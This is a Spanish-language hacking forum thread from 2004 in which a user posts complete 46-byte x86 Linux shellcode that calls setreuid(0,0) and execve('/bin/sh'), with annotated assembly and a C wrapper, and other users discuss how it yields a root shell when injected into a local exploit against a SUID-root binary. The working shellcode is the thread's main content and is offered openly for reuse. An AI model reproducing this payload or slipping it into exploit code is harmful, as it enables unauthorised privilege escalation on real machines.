elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 16:42  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  root 2.6.7
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: root 2.6.7  (Leído 1,172 veces)
shy

Desconectado Desconectado

Mensajes: 144


¡Amo YaBB SE!


Ver Perfil
root 2.6.7
« en: 28 Diciembre 2004, 03:54 »

Código:
/*
  Name: Nst_Root
  Copyright: [N]eo [S]ecurity [T]eam [NST]®
  Author: HaCkZaTaN
  Date: 24/12/04 13:04
  Description: setreuid(0,0); & execve();

  Size: 46 bytes

  [ You'll never shutdown the real HaCkZaTaN ]

  Tested in:
         Slackware 10.0 (Kernel 2.6.7)(Gcc 3.4.3)(i486)

  Greetx: NST Stuff
          Nitrous << He gave me an idea to do it.
          CrashCool
          Status-x
          eL_mEsIaS
         
  Dedicated to Luisa.

*/

char Nst_Root[]=
// setreuid(0,0)
"\x31\xc0"                   //xor    %eax,%eax
"\xb0\x46"                   //mov    $0x46,%al ;setreuid is syscall 70
"\x31\xdb"                   //xor    %ebx,%ebx
"\x31\xc9"                   //xor    %ecx,%ecx
"\xcd\x80"                   //int    $0x80
// execve();
"\xeb\x16"                   //jmp    80480a2
"\x5b"                       //pop    %ebx ;get the address of the string
"\x31\xc0"                   //xor    %eax,%eax
"\x88\x43\x07"               //mov    %al,0x7(%ebx)
"\x89\x5b\x08"               //mov    %ebx,0x8(%ebx)
"\x89\x43\x0c"               //mov    %eax,0xc(%ebx)
"\xb0\x0b"                   //mov    $0xb,%al ;execve is syscall 11
"\x8d\x4b\x08"               //lea    0x8(%ebx),%ecx
"\x8d\x53\x0c"               //lea    0xc(%ebx),%edx
"\xcd\x80"                   //int    $0x80 ;call the kernel
"\xe8\xe5\xff\xff\xff"       //call   804808c
"/bin/sh";                   //.string "/bin/sh"

int main()
{
      __asm("call Nst_Root");
}
En línea
DoctrinDark

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: root 2.6.7
« Respuesta #1 en: 28 Diciembre 2004, 04:25 »

Podrias poner alguna descripcion de eso para los que no entendamos del tema ?
Citar
Description: setreuid(0,0); & execve();
Eso quiere decir que da root ?  ???

DD-
En línea

Smells Like Teens Spirit
shy

Desconectado Desconectado

Mensajes: 144


¡Amo YaBB SE!


Ver Perfil
Re: root 2.6.7
« Respuesta #2 en: 28 Diciembre 2004, 04:54 »

es una simple shellcode
En línea
nitr0us

Desconectado Desconectado

Mensajes: 204


#rm -fr /


Ver Perfil WWW
Re: root 2.6.7
« Respuesta #3 en: 29 Diciembre 2004, 14:12 »

Blah !!

el topic esta mal....

eso es una simple shellcode usando syscalls (23 y 11 respectivamente). Claro que da root en cualquier LINUX ¬¬ siempre y cuando el usuario root (uid=0) haga:

#chmod 4755 ./shellcodecompilada && chown root ./shellcodecompilada

Asi, cualquier usuario normal, al ejecutar dicha shellcode pues ejecutara /bin/sh como root pero ojo:NO ES UN EXPLOIT

PD: Les dejo una shellcode mia que hace lo mismo pero usando menos bytes:

http://www.danitrous.org/code/nitrous/shellcodes/execvesuid.c
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: root 2.6.7
« Respuesta #4 en: 29 Diciembre 2004, 20:13 »

Es una simple shellcode, pero que se puede meter perfectamente en cualquier exploit local contra un SUID 0, y que te dara una bonita shell de root.

Por cierto, usa las syscalls 70 y 11 xD, no 23 y 11.

Salu2
En línea

HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: root 2.6.7
« Respuesta #5 en: 30 Diciembre 2004, 03:53 »

Hex ----------- Dec
46 ------------- 70
 b  ------------- 11

Esta no usa setuid(0); utiliza es un setreuid(0,0);

Para los que no entiendan.
por que utilizo. [al]
"\xb0\x46"                   //mov    $0x46,%al
Por dos razones.
1. Nos daria nulls
2. Es muy grande si utilzamos uno de 32 bits.

Salu2!!

PD: Si me equivoque en algo plz corrijanme
En línea

nitr0us

Desconectado Desconectado

Mensajes: 204


#rm -fr /


Ver Perfil WWW
Re: root 2.6.7
« Respuesta #6 en: 30 Diciembre 2004, 14:52 »

Rojodos: 23 y 11, me confundí, pensaba que hacía setuid() pero no es asi.... un pequeño 'errata'.

En fin... esas shellcodes pueden ser introducidas en el payload de calquier PoC y pues, si el binario vulnerable esta con SUID 0 pues entra en acción el   setuid(0) y execve() ;)...

saludos.
En línea

ELPOCHO

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: root 2.6.7
« Respuesta #7 en: 31 Diciembre 2004, 01:33 »

esto no es un exploit, es un simple wrapper para el /bin/sh, pero que funciona solo con root :P
En línea
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: root 2.6.7
« Respuesta #8 en: 31 Diciembre 2004, 09:09 »

Solo con root el archivo tiene que estar setuid(0); por default.


Salu2!!

PD: anocer de q el admin le de permisos a todo.
Salu2!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Cifrador root 13
Programación C/C++
Søra 7 1,266 Último mensaje 15 Diciembre 2010, 21:59
por Søra
Dos usuarios root?
GNU/Linux
Cergath 4 1,600 Último mensaje 29 Enero 2011, 14:05
por n3w
Root en BlackUbuntu!!!
GNU/Linux
XxArCaNgElxX 2 967 Último mensaje 16 Julio 2011, 04:36
por XxArCaNgElxX
keylogger sin permisos de root
Hacking Linux/Unix
el_magio 1 2,125 Último mensaje 17 Octubre 2011, 20:53
por Abakus
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines